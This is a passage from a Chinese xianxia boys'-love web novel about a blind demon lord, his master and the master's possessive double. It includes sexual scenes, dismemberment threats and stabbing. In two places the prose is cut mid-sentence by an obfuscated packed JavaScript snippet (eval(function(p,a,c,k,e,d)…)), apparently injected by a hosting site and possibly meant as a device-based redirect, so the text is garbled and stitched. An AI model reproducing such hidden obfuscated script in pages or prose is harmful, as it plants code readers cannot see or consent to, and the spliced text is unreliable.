雪影轻笑:“不苦。为了为师的好徒儿,做什么都值得。” “只是有些时候,”他深邃的眸浮出抹戏谑的光,轻佻不已,似在回味无穷某些不为人知的羞耻画面。 “你热情得为师有些招架不住罢了。” “你!” 凌厉的掌风劈出道光。 二人又开启新一轮对打。 …… 半个时辰后。 陌归尘从半空跌下,还未落地,已被个怀抱接住,温暖,熟悉,叫人怔然晃神。 夜风凛凛,那人从后面拥住他,腹背相贴,严丝合缝,耳鬓厮磨,片刻后,鼻尖又探进他发间,深深嗅着。 陌归尘手肘往后肘击,狠狠撞在那人肩侧:“趁人之危算什么君子行径?” 身后人淡声置否:“君子?为师从未承认过自己是君子,神位都是杀出来的人,谈君子,未免荒谬。” 那人又点醒道:“你的魔尊之位不也是杀出来的?” 陌归尘咬牙切齿:“全仰仗师尊教导有方。” 雪影欣慰颔首:“是徒儿学得好。” 二人就这么静默拥着。 温香软玉在怀,雪影有些失笑,缠绵低语:“我们这样不也挺好么?” “你爱我。” “我也爱你。” 听到最后一句话,陌归尘浑身血液都似在这刻凝固,木然顿住,由得那人趁机偷袭,悄然无声吻下耳后窝的肌肤。 霎时,双腿似被抽干力气,往下跌了跌,跌进个强而有力的臂弯。 淡淡的调笑声,从头顶落下,沉而模糊,带着闻笺独有的味道,却又比闻笺多出外露的深情。 身后人下巴抵住他脑袋,低低喟叹:“玉玉啊玉玉,怎么每次都这样呢?” “真是……啊。” “闭嘴!” 陌归尘自甘堕落闭目,转身,单手掐住对方脖子,迎着闻笺那具躯体。 狠狠□□上去。 分开时,两人唇角都染着血丝,雪影低下眉,去看陌归尘起伏的胸膛,细微喘息还在那微张的唇缝吐出。 “殿下好像还未解气。” 徒弟没理他。 雪影又问:“滋味如何?” 徒弟轻嗤:“一般。” 雪影悠悠端详陌归尘,青年不太清明的眸子,蓄有层淡淡的水雾,潋滟朦胧,偏生满身却笼罩起冷硬的戾气,如只进入防卫状态的刺猬,真是诱着人把那硬刺一根根拔掉。 软耷耷翻起肚皮,露出副可怜模样,啜泣求饶。 雪影挤出个温和到极致的笑:“为师的好徒儿,你的身子比你的嘴,要诚实许多。” 他拦腰搂住人,往后面石桌放倒,艳红的绣袍铺散垂落,失明的青年抬起手推来。 “你又想干嘛?” 雪影的掌覆落陌归尘颈脖,几根手指若有似无的,慢慢下移,滑至腰腹:“还能做什么?自然是好好伺候殿下。” “为师伺候人的手法应该还不赖。” “你……唔。” 陌归尘话刚出口,一个吻再次堵来时,小猫猫也被人用手握住,从未有过的感觉,如石落湖面,在脑海深处炸开片水花,激荡的波纹晕出层层涟漪。 …… * 乌云蔽月。 寒风撕开寂夜,叶影幢幢中,树上的青年眼底是片未消退的潮红,神情迷茫恍惚。 似乎还从先前极为荒诞的那一幕里回过神来。 陌归尘跳落地,因着没用灵力,跳下来时,身子本能地腿软了一下。 他扶住一旁的树干,止不住回忆起些片段,所有的记忆最终停留在最后那帧,师尊慢条斯理擦手的动作。 给魔尊大人极为匮乏的房事知识里添上尤为浓墨重彩的一笔。 原来还能用手……? 呸!有这么身体力行教徒弟的么?还师尊!简直为师不尊! 清薄的红影穿梭在魔宫大道,更深露重,夜里的露水雾气染得陌归尘眉睫湿漉,连带发梢都沾上夜里的潮气。 终于停在竹屋外。 虚掩的门,窜进只白色的小影子,是只巴掌大的猫。 白猫熟稔迈进屋内。 脚刚踩落地,便闻到股荷叶鸡的香味,还有灵气馥郁的药膳羹汤。 循着那气味,白猫来到方桌脚下,后脚一蹬,轻而易举跳上桌面。 爪子轻轻摸索一下,有两只鸡腿,还用灵力温着。 白猫怔然,眼前霎时飘起旧时的记忆。 落霞峰,夜色渐沉,他独自坐在檐下石阶。 不知多久后,有人提着灯回来,熟悉的那抹白影穿过夜色,向他走来。 “怎么不睡?” 几岁的孩子瓮声瓮气:“肚子胀,难受。” 白衣仙人放下灯,把徒弟拉到腿边,揉肚子:“又嘴馋偷吃是不是?夜里不要多吃,仔细积食难受。” 小徒弟毫无底气:“才没有。” 白衣仙人:“下次只许吃一个鸡腿。” 几岁的孩子比出两根手指,扯扯自家师尊袖角:“再多一个嘛,师徒要成对,好事要成双。” “这是什么话,没头没尾的。” “有呀,师尊有头,我有尾。” 白衣仙人被逗笑,弯身,以一种抱小孩的姿势抱起徒弟回房,边帮徒弟揉肚子消食边念诗。 诗书乏味,小徒弟眨眼就被哄着睡着了。 …… 陌归尘从回忆抽身,悄悄吐出口气,蹲在案面,鼻尖凑到盘子,开始啃鸡腿。 细嚼慢咽吃完,刚想走,又轻嗤声,从储物袋里掏出只鸡腿,归位到碟子里,连摆放的位置都复原得一模一样,绝对难看出端倪。 做完这一切,他方来到床边,跳上榻,蹲在床头。 一双异瞳,明明什么也看不见,还是一动不动“望着”闻笺熟睡的容颜。 还凑到那人鼻子嗅嗅。 随后,又把爪子探到闻笺脖侧,脖间脉搏有条不紊跳动,应该又是在沉睡养伤。 见状,白色的猫把脑袋埋下,偷偷咬了口闻笺下巴:“叫我放手,难道你自己就不执着么?” 陷进沉睡的人没有刻意,大抵也是已经没必要使障眼法。 于是寂夜无声里,陌归尘能清晰听到师尊那新长的半颗心,在缓而轻地跳动。 烦得无计可施的猫,跳上师尊心口,慢悠悠趴下,听着师尊的心跳声,炸开的尾巴一甩一甩地抽人。 明明就是爱我。 证据确凿。 * 月如霜,华光凝落山头,云烟淡渺,瀑布下,一道红影正蹲在地上胡乱摸索。 素净的手沾满斑驳泥泞。 河边摸得七七八八,他抿唇,探了探水面,冰冷刺骨。 未多加思索,还是迈腿落水,细细摸着河底。 二竹弋撑着伞出现时,河中人已经浑身湿透。 他来到河边,弯身,把伞全部送到河边人头顶:“殿下,下雨了。” “我其他感官还在。” “回去吧。” 陌归尘没理二竹弋,还蹲在水里乱摸。 “殿下要找什么?我帮你。” “抓老鼠。” “?” 二竹弋先是微讶,随即失笑,怎么又在拐弯抹角骂人? 大概是在骂他多管闲事? 那道红影背对他转出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陌归尘攥实拳头,脸庞冷得如刚从冰窖捞起,目光黯淡,浑身戾气化不去,提起无双剑就出了魔界。 翻涌的思绪却在若水河畔霎时停下,与他相隔一条河,迎面而归的人,不是谁。 正是闻笺。 那人满身寒气,浓重难褪,陌归尘皱眉,没多问便已猜出一二,闻笺这家伙怕是真去极寒之地取药材,替他治眼睛了。 一天到晚净会折腾自己。 他放下剑:“师尊哪去了?” 闻笺似乎也难料到他的出现,静了片刻,声音淡淡的,比昨夜虚弱许多:“没。” “我是瞎,不是傻。” 陌归尘迈出腿,向闻笺走近几步,若有所思:“其实我有个困扰我多年的烦心事,我总在想师尊凭什么比我高呢?” 他提起无双剑,用那柄剑的剑身拍拍闻笺腿侧。 威胁意味甚浓道出方案:“如今,我想到了一个十分完美的解决法子,那就是把师尊的双腿切掉。” 他笑着面向闻笺,宣判一般告知:“我可不是危言耸听哦,这将是师尊下次离开我视线范围的惩罚方式。” 而后,又十分好心道:“当然,我们好歹师徒一场,弟子自然也不希望师尊矮人一等,所以我会其余人拦腰截断。” “所以,师尊以后千万要三思而后行。” 闻笺眼睑下是淡淡的青色,他抬眸,格外疲惫地动了动眼睫,煞白的唇微微翕动:“为师知道,你不会。” 陌归尘把剑安回剑鞘,收好无双剑,不羁挑眉,语气轻轻的:“会不会,师尊试试便知,反正师尊逃到天涯海角,我都能抓到你,但其他人若被拦腰折断,不知师尊有没有这个本事一一救回来。” 若水河畔,浪潮翻涌。 师徒二人就这么无言对立。 不远处,躲在草丛后蹲点半天的小狐狸,猛地扑向虎视眈眈许久的猎物,咬着猎物咽喉,一招毙命,叼起,警惕偷瞄向那两道无声对峙的红白身影。 转瞬间,又似怕猎物被抢,咬紧了些,倏地跳走。 狐狸窸窸窣窣淹没在草丛。 听着那动静,陌归尘止不住想起幼时,自己也曾往落霞峰叼回猎物赠师尊。 如今这猎物,倒变成自家师尊了。 当年那幕尤在眼前,本体为猫,加之年幼无知,他满心欢喜叼起只圆滚滚的小鼹鼠,马不停蹄跑回去,钻进师尊被窝,想要给师尊一个惊喜。 后来嘛…… 陌归尘难得掩嘴偷笑。 他退出回忆,抬手捏了捏指腹,掐出个术诀,闻笺头顶霎时长出对鼠耳。 满头墨发上,灰里发白的一对兽耳,毛茸茸的,只有半个巴掌大,却格外逼真。 闻笺还未来得及问陌归尘又心血来潮玩哪一处,便听徒弟道:“劳烦师尊把手腕伸出来。” 他沉默,不懂徒弟意图。 “我不喜重复。” 几息功夫后,闻笺还是遂徒弟意,抬起双手手腕。 眼底倏然飞来段红绫,红绫的一段缠绕上他手腕,往里一收,他便被人绑住双手手腕。 十足是个被抓住的鼠妖。 红绫的另一头还虚虚搭在陌归尘手心,他满意扯扯红绫:“走吧,闻笺哥哥。” 46.人老腰不好。 46. “别闹,辈分乱了。” 陌归尘听着自家师尊那无奈的话语,竟觉得有些好玩:“没闹呀,师尊若嫌‘闻笺哥哥’不够亲切,那——” 他佯装思索,刻意放慢语调,拖出点懒洋洋的尾音。 “阿笺哥哥?” 闻笺眉角骤然一跳,这才张嘴,陌归尘早已感受自家师尊气息骤然紊乱,便知自己这回又给老男人撩恼火了。 他赶在自家师尊发话前,顿时收住逗弄的心,连忙打断道:“师尊,我饿了。” 徒弟这一声软声软气的“师尊”,非常立竿见影,直把人刚酝酿起的呵斥泼了个哑火,真是有事“师尊”,无事“闻笺”。 闻笺噎声,转而垂视这根红绫,正有股温和的灵力通过红绫镀进经脉,修复受损的元气。 他缓声道:“为师没事。” “我是瞎,看不见,但并不影响我把脉,好歹也学过点皮毛,你什么脉象我不清楚么?”静了片刻,陌归尘又拽拽红绫,“还不走?想饿死我呀?” “折辱师父,你能解气么?” “不知。” “我只知,”陌归尘轻唔声顿顿,又开始不着腔调斜斜“瞄”向闻笺,语气狎昵,“师尊越反抗,我可能越兴奋。” 连日来,陌归尘口中的轻浮荤话层出不穷,闻笺竟觉听得有些无动于衷。 二人又是一顿默然不语。 陌归尘能感知到闻笺的气息如一汪清水,波澜不惊,沉静到极致,便是如此,更叫人恶劣地想在其中激荡起一番浪潮。 他承认自己是有些贪心,早已不满足于看那样冷冷清清的一个人,为他沾上烟火气,更想看他的师尊为他染上人世间的七情六欲。 只为他而生的,涌动的春潮。 见人不动,陌归尘又意有所指地启唇:“师尊还不走是想逃?那其他人……” 闻笺清冷的眉宇,唯有眉梢细微动了一下,无奈喟叹,认命似的:“你只管拿师父出气,别牵连无辜之人。” “这不是看我,旁人的生死全系在师尊身上。” …… 另一边,魔宫地牢。 几名负责看守的魔兵端来好菜好酒,走进最里面的牢房,塞进托盘,缓声缓气:“吃吧。” 黄毛魔兵红光满面:“我们尊主纳妾,魔宫上下设宴三天三夜,普天同庆,算你们几个走运。” 轻衣见有人出现,连忙扑倒牢门,言真意切:“这位魔兵大哥,我们是真有事求见你们魔尊,通融下吧。” 黄毛魔兵挑眉:“不是我无情,你们要知道凡闯魔界者,格杀勿论,若非左护法大人替你们求情,哪还有命享这山珍海味。” “左护法?” “自然。” “那劳烦通传下,我们要见他。” 另一名赤毛魔兵呵斥:“大胆!我们护法大人日理万机,是你说见便能见的?” “你们安分些,不然我也保不得你们。” 突如其来道温润嗓音,几名魔兵循声回头,便见名金冠玄袍男子款款而来。 几人连忙单膝跪下行礼:“护法大人。” 二竹弋轻轻摆手,几名魔兵也识趣退下,给人腾出空间。 黄银静静看来人:“二掌门,我们求见陌师兄,真有事,我们也不敢劳烦您,您放我们出去,我们自己寻他即可。” 二竹弋也不遮掩,淡声直言:“把你们关起来,是在保护你们。” 黄金瞬间不乐意了:“胡说!陌兄才不是那样的人!” 轻衣也会错意反驳:“就是!陌师兄只是嘴硬心软,绝非滥杀无辜之人。” 黄银继续道:“我们只是替人送东西,并非有意闯魔界,请二掌门通融一二,待亲自送给陌师兄手中,我们即刻离开魔界,绝不惹是生非。” 二竹弋望着这三人,放下些粽子糖:“殿下和仙尊的喜糖。” 闻言,三人皆是一愣。 黄金:“啊?” 黄银:“您说?” 轻衣:“谁?” 二竹弋:“玄胤仙尊,闻笺。” 三人面面相觑,最后不约而同望天,感慨万分。 轻衣:“这世道,” 黄金:“怕是,” 黄银:“要疯了。” …… 离开魔牢,二竹弋直奔护法殿,殿外几只吃猫草的猫,听闻动静,纷纷跑来蹭人,紧跟其后进了殿内,又穿过厅堂,去到后院花园假石山后。 他弯身撒下些特质的猫食,几只黏人的猫方才停下,没再跟上去。 借着日光精华,二竹弋掐诀,朝湖面打出道阵法符文。 平静水面霎时出现个漩涡,涡型水流飞速逆转,愈渐向外扩展,最后撑开个旋转楼梯入口。 二竹弋飞身落下玉石门。 整个湖面也霎时恢复原样。 旋转楼梯尽头,是一段高阔的长廊,长廊两侧摆满长明灯,烛火摇曳,却显阴冷幽森。 穿过长廊,又绕过一道绣金玉质云屏,终于来到座辉煌高耸的地下宫殿。 琉璃瓦顶,白墙砌水晶,镂空雕刻的鎏金黑漆大门,沉闷而庄严,恢宏大气又略显诡异。 是座地下神宫。 二竹弋熟稔推门而进,直奔宫殿最深处,撩起道竹帘,屋内灯火通明,摆满各种各样的旧衣旧物,有被撕去折成小船的书纸,未抄写完的竹卷,泼了墨汁的废画稿,小孩爱玩的摇鼓,就连沾了污迹的糖纸也被完好存放在个玉雕的匣子里……等数之不尽。 最显眼的当属高位之上的那团毛球,是用长年累月积聚的脱落猫毛捏成的一只迷你白猫,栩栩如生。 正慵懒趴着安睡。 雪影则专注提笔作画,画中人一袭红衣,神情漠然俯视苍生,明艳高贵如神祇,可望不可及。 画未完,毛团小猫睁眸“苏醒“”,扑去咬人,猫齿衔住雪影的手指,不让其作画。 雪影淡笑,掌心轻轻拨开小猫,小猫又犟着扑回来咬笔杆,似在叫嚣“陪我玩”。 一人一猫来来回回几十回合。 画作终于落下最后一笔。 雪影单掌托起猫团,挠挠小猫下巴:“何事?半天不说话?” 二竹弋目光草草扫过雪影后面的暗墙,墙面正浮现着仙门十四州的地图,此刻,已有四个门派亮起。 他敛回眼神:“殿下很执着属下背后的人。” “这点小事,也需吾教你?既然他怀疑,你抛线索便是。”雪影搁下笔,便是一掌。 嘭一声。 二竹弋连退十几步,脊背撞上墙,袖口滚出个小瓶药。 雪影挑眉:“这点伤,还用不上这么金贵的药。” 他掌心一收,隔空取走药瓶,低低咂了声:“啧,我们玉玉就是同情心泛滥,难怪把谁都迷得神魂颠倒。” 药瓶变成齑粉散落。 二竹弋单手捂着胸膛,闷声咳出口血:“主上,您有没有想过,殿下到底想要什么?” “玉玉自然是想要师父。” 雪影爱怜揉揉猫团脑袋:“所以师父会陪着他的,若死,也要先把他做成漂亮的布娃娃,生同衾,死同穴,永远长厢厮守。” …… 二竹弋从神宫出来时,雨后初霁,万里晴空,照得桥下湖面水波粼粼。 远处,两个身影引他注目。 魔宫大道上,陌归尘正用根红绫牵着头顶长出对鼠耳的闻笺,慢条斯理走在前方,那场面尤像出外打猎,满载而归。 真捉老鼠呢。 且陌归尘步调轻缓,悠哉悠哉,再反观闻笺,眉清目冷,正气凛然,哪怕被当做猎物,也是满身刚直不阿,未有丝毫屈服。 但不难看出,自家殿下很真的享受这么一出打情骂俏。 二竹弋垂了垂眼皮,眸光旋即晦暗些许,还是走过去行礼。 陌归尘懒洋洋瞟人,心情甚好,难得拍拍二竹弋肩膀:“这几日的政务还得劳烦左护法帮忙处理下。” 肩膀重量压来,二竹弋微愣,这一转眼,陌归尘已经继续往前走,倒是对上了闻笺的眼神。 那人也没说话。 他却总觉在这张寡淡的脸上,看到丝不一样的情绪。 再眨眼。 两人都已远去。 陌归尘领着闻笺,就那么堂而皇之地走进摆设宫宴的地方。 管弦丝竹声不绝于耳,殿中歌姬悠悠吟唱,乐声如美玉击石,又如凤凰鸣奏,亦如朝露坠落,却无一人欣赏,众人各怀心思。 一名甩着狐狸尾的赤狐男姬拨了拨琵琶弦,语气酸酸的:“那便是尊主新纳的男妾,不过如此嘛。” 旁边的竹叶青扭扭腰肢,也是拈酸吃醋,忿忿道:“就是,听说是个仙门人族,什么正道修士,净会干些狐媚惑主的事来,真想把他那对专门勾引人的鼠耳割下来吃酒。” “呸!下作货色!” 两人还在你一言我一语搬弄是非,忽然感受到视线,竹叶青骤然惊喜万分。 “方才尊主是在看咱们?” “好像是。” 蛇妖指尖抚上自己脸颊,笑得满眼桃花:“莫非是被我们的美貌才艺吸引?那待会儿可要好生抓住机会。” …… 高座上,陌归尘拉着闻笺一起坐在鎏金宝座,侧着身子挨向自家师尊,嗅着那股略带苦涩的栀子花香,低低囔了声。 陌归尘:“闻笺。” 闻笺避了避身子:“叫师尊。” 陌归尘又没骨头似的往旁边倒去:“闻笺哥哥。” 闻笺眉角轻跳:“你,给为师坐好。” 感知到闻笺曲着食指举起手来,陌归尘也不惧,挨了一下爆栗,继续没个正形,偷乐着趁机摸了一把自家师尊的眼尾。 昨夜,不得章法地与另一位师尊啃完,又被人刻意引导回柔情蜜意里,那刻,他脑海里浮现的,全是师尊的双眸。 邪神固然能幻化万物,可陌归尘此刻却无比清晰认知到一个事实 ——闻笺看他的眼神,连闻笺自己也无法复刻。 案面摆放着盘青提。 陌归尘情难自禁回忆起在落霞峰书房暗室看到的那些画面。 师尊给他那副白骨喂剥过皮的青提,轻轻掰开他颔骨,青提从腹部骨缝掉出来,滚到地面。 望着滚在地的青提,师尊定住许久,而后挽出点笑,温柔摸摸他头骨:“不吃就不吃,怎么打掉呢,多浪费。” 随后捡起,自己吃掉。 可这个人,分明最讨厌青提的涩味。 天寒地冻时,也会提着暖炉,单膝跪在寒玉棺旁,给他塞好几个暖炉。 边塞边自言自语:“不可以,因为要名扬天下的大侠是不可以和师父同榻而眠的。” 有时也会打来盆水,低笑着数落:“怎么弄得脏兮兮的,又钻哪个丹炉火坑玩去了?” 然后慢条斯理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话音刚落,袖口忽而被人扯扯,他放出丝灵力探了探,一条蛇妖不知何时半跪半趴在他腿边,正扭着水蛇腰献媚敬酒,那嗓音掐得能滴出蜜水:“尊主,奴敬您。” 陌归尘接过盛酒的金卮,也想起这条竹叶青先前那些话,便是一脚踩在对方肩膀:“你方才席间说什么?” 竹叶青不明所以偷看陌归尘,但见那张明艳的脸,眉目尽是化不开的笑意,却莫名叫人遍体生寒,似觉风雨欲来。 下一瞬间,魔尊大人便高举金杯,移到他脑袋上方,翻转酒杯。 酒水倾倒而下。 哗啦。 竹叶青被浇了个透心凉。 酒水全数落在他发顶,顺着额头沁进眼角,一时火辣无比。 “尊……尊主?” 那张俊美无俦的脸,神情破碎到极致,咬着唇低泣,几滴泪珠挂在脸庞,娇柔媚惑极了,“是奴哪里做得不够好?” 殿中不少好男风之人,都为为这楚楚可怜模样动容。 但他陌归尘又不是断袖,只是钟爱之人恰好是男子罢了。 便只觉这人阴柔,还做作。 他脚尖轻轻一踢,直把这人踹出殿中,撞在石柱上,浑身骨骼都被震碎,连连吐出好几口血。 声音寡淡,却尽是肃杀寒意不高不低,正好能传遍每个角落:“本尊的后宫就这么一人,妾,也是后。” 他丢了杯子,擦手:“再有犯上者,杖毙。” 这威也立完了,便没必要耽搁师尊养伤,陌归尘牵起红绫,把闻笺带回竹屋后,转头去了织室。 织室正在紧赶慢赶制作喜服,说来也是奇怪,尊主给了图样,吩咐赶制仙尊那套即可。 这大婚的喜袍只做一套? 真叫人难捉摸啊! 陌归尘自然不会与绣娘们解释太多,他心满意足看着快完工的喜服,交代明日送去给正主试,便原路返回,打算继续去找那枚吊坠。 刚欲出长廊,猛然被拽回。 回廊尽头,壁灯忽明忽灭,月色撒下片霜,隔着扇敞开的大门,不时能听到行色匆匆的小厮的唾骂声、偷懒相聚嚼舌根的婢女嬉闹声,还有巡逻守卫们整齐沉稳的脚步声…… 陌归尘一把甩开雪影的手腕,忤逆犯上,冷嘲热讽:“怎么,人老腰不好,棺材板睡得不舒服,又爬出来了?” 雪影含糊一笑,如潜伏夜色的鬼魅,再次欺身倾来,臂膀撑在门框,将陌归尘困于门边。 师徒两人投在门槛后的影子越发交错叠落。 相贴的影子,动作分明暧昧缠绵,横亘在二人的氛围却又愈渐流淌出股诡异危险,剑拔弩张,似场蓄势待发的恶战。 雪影话音染着半分狎昵:“是呀,一日不见,如隔三秋,特地爬出来寻殿下一起探讨些东西。” 陌归尘难得耐下性子,追问了句:“探讨什么?” “与殿下探讨下,为师这腰到底好不好?” 陌归尘眉梢轻挑,不以为意,正欲转身离开,便感觉到对方缓缓弯下腰,手臂穿过他腿侧,单手捞起他。 叫他双脚腾空,全身重力全落在自家师尊那条手臂,似坐在秋千架上。 那人又把他往墙边压去,连带双手手腕也十分有先见之明地反剪到头顶。 陌归尘刚仰起头。 这位师尊已咬破舌尖,猝不及防的吻下来,堵住他未出口的话,血水旋即渗进唇齿,滑落咽喉。 酸酸甜甜的。 青提味的。 47.陌归尘甩晃灵线, 47. 清爽的青提味血水落喉,陌归尘情不自禁吞咽一下。 感受到他的回应。 对方扣住他手的五指,骤然雨打芭蕉似的,插.进指缝,将他钉得死死的。 廊道外,掌灯婢女小跑路过,嬉闹声叫人骇然惊醒,陌归尘倏然睁眸,狠狠推开对方。 他眸底蕴出层潮气,撑着后方的矮栏,抬腿,便又是一脚。 直愣愣踹中师尊大腿。 靴底踩在纯白衣摆。 踩出显眼的污迹。 那人倒也不恼,只反手捏住他踹出的小腿,轻托他脚踝,抬起些许,大抵是在打量,片刻后方单膝蹲下来。 如出一辙的动作,熟悉得叫陌归尘微微怔然。 这幕和儿时游历的画面高度重合,彼时他坐在石块上,师尊单膝蹲下,他的小腿晾在师尊膝盖,由着师尊给他换新做的鞋子,那会子师尊还特地学了凡间新流行的花样,给他在鞋头绣了个漂亮的小猫头。 他总爱盯着师尊问:“为什么对我这么好?” 师尊也总耐心答:“因为我是师父。” 时隔十多年,当年那幕又重现,跟前的男子没有多余的动作,的的确确是个再正常不过的换鞋动作。 前提是忽略掉那调侃的话——“魔尊殿下,离了为师,竟连双新鞋都换不起么?” 正好要换腿,陌归尘借着师尊肩膀撑了撑手,冷嗤:“当然是榨干你的老本,再一脚踹开你,坊间顺口溜听过没?老头好,老头事儿少,老头死了还能找。” 那人低低笑了:“踹是踹不开的,死也不会死,至于榨干,这点有待殿下考究。” 陌归尘暗嗤一声,老流氓! “这鞋,你纳的?” “乱葬岗捡的。” 陌归尘:“……” 有时候真的很想扇自己一巴掌,跟这老男人多嘴什么! 空气中流淌着股静谧。 那人还单膝蹲着,从前还小的时候,这个角度的相处数之不尽,后来长大,师尊便没再这么替他穿过鞋袜。 有点想看那人的神情。 可惜,眼睛瞧不见。 陌归尘恹恹别开头。 底下人却似捕捉到他的这点异样,淡淡发话:“怎么,为师哪里伺候不周,又惹殿下不高兴了?” “穿好没!” “没。” “明明就已经好了!” “讨个赏。” 魔尊大人选择性忽略,直接抽腿,起身,焉知那人早已熟知他的一举一动,提前一步挺回身子,侧着脸,弯腰等他。 陌归尘起身刹那,双唇,就这么猝不及防撞上了自家师尊的脸颊…… “你!” 魔尊大人的怒火抒出胸腔那刻,掌风也随即轰出去。 师徒二人从屋内打到屋顶。 月光朦胧笼罩魔宫,不时交叠的红白身影,浸泡在夜色里,二人挥臂时相碰的绣袍,仿佛也掺杂几许缱绻的温情。 “还置气呢?” 陌归尘听着对方的话,劈出去的手腕被接住,那人顺势朝他手塞进把匕首,“来,捅一下,解解气。” 他蹙眉,还没发话,对方已干脆利落地握住他手,带着他刺进自己心口处。 伴随扑哧一声起的,还有奖励似的落在他眼角的吻:“真乖。” 陌归尘想要抽手,那人却抓得更加紧实。 “你发什么疯?” “再来一下。” 说着,那人又带着他刺了一下,利刃狠狠钉穿肩侧,师尊的嗓音比夜风还缱绻柔和,哄问:“好了没?还恼吗?” “你是不是有病?” 对方低叹:“看来还是郁结难舒啊,那再来一下。” 这次直接拿出无双剑,无双剑虽认主,但到底是闻笺炼制的,召唤口诀自然一清二楚,况且以师尊实力,拔谁的本命剑不是易如反掌。 陌归尘不懂对方何解,那人直接把剑柄塞给他,剑尖则抵向自己心口,诱哄似的:“来,刺一下。” 他抗拒松手。 那人却紧紧攥住他手,与他十指相扣握剑:“怕什么,又不是没试过。” “你别发疯好吗?” 陌归尘使力推开自家师尊,不知为何,眼前场景却诡异极了,虚虚实实地千变万化,待他醒神时,那剑竟又刺向对方。 须臾间,他木讷在原地,脑海里落出片空白。 那人竟还就这么迎面拥过来,噗嗤一下,长剑二度刺破骨肉,生生贯穿对方躯体。 “师……师尊!” 陌归尘愕然颤抖着手,冷得发汗的掌心被股温暖包裹,雪影轻握他手,额头贴落他脑门,与他共享当前的画面:“为师没事,傻瓜。” “有你这么逗徒弟的么?” 陌归尘气极了,埋藏心底的恐惧与痛楚也似被拔除掉些许,只是仍抵不住四肢百骸渗出冷汗,恼怒之下,抬起膝弯顶人。 那人没躲,不偏不倚吃了他这一膝盖,道:“为师都做到这份上了,还在怄气呢?” 对方也如已使出浑身解数,无奈到极致,轻轻喟叹:“小祖宗,你怎么这么难伺候啊。” 陌归尘没理人。 当年那一剑给他带来的创伤,以至于在往后数年里,看见剑,都不由心头一阵恐慌。 可是他又不甘,魔界后山演武场内,石壁上长年累月的剑痕便是他乱砍留下的。 说来也可笑,身为剑尊唯一的徒弟,世间万般法器都会使,唯独不会用剑。 出神的功夫,师尊不知何时绕到他身后,从背后拥着他,下巴抵在他肩窝处,带着温度的气息尽数落在脆弱的脖子,叫人心间泛起阵疙瘩。 “你又想……唔。”厚实的掌心捂住他唇,血水又渗入唇缝。 这次的血是猫薄荷味的。 生生将人硬控许久。 好半晌后,陌归尘艰难抽身,当即提剑往后砍了过去,对打几招后,剑身倏然斩落对方臂膀,那砍断的手化作阵黑雾,又重塑回新的臂膀。 雪影不吝言辞赞叹:“不错,这次下手比较精准。” “再来。” 说着发起攻势。 陌归尘也提剑回击。 又一次,陌归尘被自家师尊捆进怀里,腹背相贴。 身后的嗓音轻淡:“为师的好徒儿,你已经被牵制一息功夫了,还没想好应对之策?” “若来日真遇上敌手怕——” 未等对方话完,陌归尘脚后脚跟往自家师尊腿间一撂,以迅雷不及掩耳之势勾住那人小腿,横扫,趁其重心不稳之际,拉着雪影侧倒,两人双双倒在瓦顶,翻滚而下。 临到屋檐,脚尖勾住琉璃角,陌归尘得逞挑眉,正欲弓身引体向上爬回去,哪知滚出去的老男人,回手掏住他腰带。 瞬间把他也拽了下去。 叫他妥妥上演一出伤敌一千,自损八百的戏码。 师徒二人就这么拥着摔下五层高的楼阁。 落地后,陌归尘被人搂在怀里,自家师尊很自觉充当人肉垫,手掌还贴心护着他脑袋。 刚想动容一下的魔尊大人,话未出口,耳畔的调侃声悠悠响起。 “看来魔尊殿下真的很热衷于弑师。” “……” 魔尊大人攥实五指,一拳垂下去,“是呀,看您老人家没死透,甚至想补个刀!” 雪影含糊低笑,拉着人对坐而起,理了理徒弟松散的领口,又摘走发间的杂草。 随后五指梳理徒弟微乱的头发,薅下点猫毛,熟稔自然地纳进自己袖口。 这幕,直把陌归尘看得无语凝噎:“有你这么天天薅徒弟毛的么?” 对方倒打一耙:“你不掉毛,为师能薅?” 陌归尘登时不乐意反驳:“你不薅,我能掉毛?” 师徒二人眼见着又要迎来一场酣畅淋漓的对打。 空气中忽而袭来丝危险气息,破空的银针急速飞来,电光石火间,陌归尘被自家师尊拉着往旁边避开,化险为夷。 那针,有惊无险擦过二人交缠的发丝,扎进几米外的树干,骤然而起的黑气,直把参天梧桐树侵蚀得只剩下截灰木。 这一针若是击中人,后果可想而知。 雪影挑眉:“看来殿下的魔宫有点疏于防守。”言罢,迈向银针发射方向。 才走出两步,那人又负手退回来,停在他面前,倾身,弯了弯腰,垂视而来,陌归尘输身高不输气势,挺直腰杆,仰头瞪回去。 并且十分有警惕性地提前捂住嘴唇。 却见那人挑眉,唇角溢出点模糊的哂笑:“这么惊弓之鸟?” 而后难得一本正经的模样,嗓音低沉,在夜里显得略模糊不清:“你就在此地,不要乱走,为师去去便回。” 随着师尊消失,共享视野的术法也就此中断,陌归尘眼前顿时陷回片星碎的黑暗。 他顿在空荡荡的原地。 茫然怔住。 莫名的,也按捺不住似的,他转头撇向师尊消失的方向,迈出一小步,又猛然刹住脚步。 夜风凛凛,诡异的空寂感,从四面八方裹挟而来,吹得人心里也空落落的。 他掐了掐手心。 见鬼了! 干嘛要听老男人的话! 银发青年乘着月色,拂袖,头也不回离开这片鬼地方。 * 翌日,魔宫禁地,竹屋。 屋内满是下人。 领头魔侍悄悄打量闻笺,但见这位仙尊眉清目冷,虽然手腕被扣上玉镣铐,但那一袭白袍,纤尘不染,沉静打坐的模样实在清冷出尘,像尊不可亵渎的神祇。 她跪下,捧起织室送来的衣物托盘,又一次苦口婆心劝说:“仙尊,您就换上试试吧,这喜服若哪里不合您心意,也好尽早送去织室裁改。” 其余人也附和:“仙尊您就纡尊降贵试试吧,不然奴婢们不好向尊主交代。” “仙尊,求您更衣。” …… 闻笺入定似的,纹丝不动。 气氛一时僵持不下。 不知多久后,禁闭的门,骤然被推开而打进扇光,来人一袭大红喜袍,尾指还勾着个酒壶,醉醺醺走进来。 婢女们匆匆行礼:“尊主。” 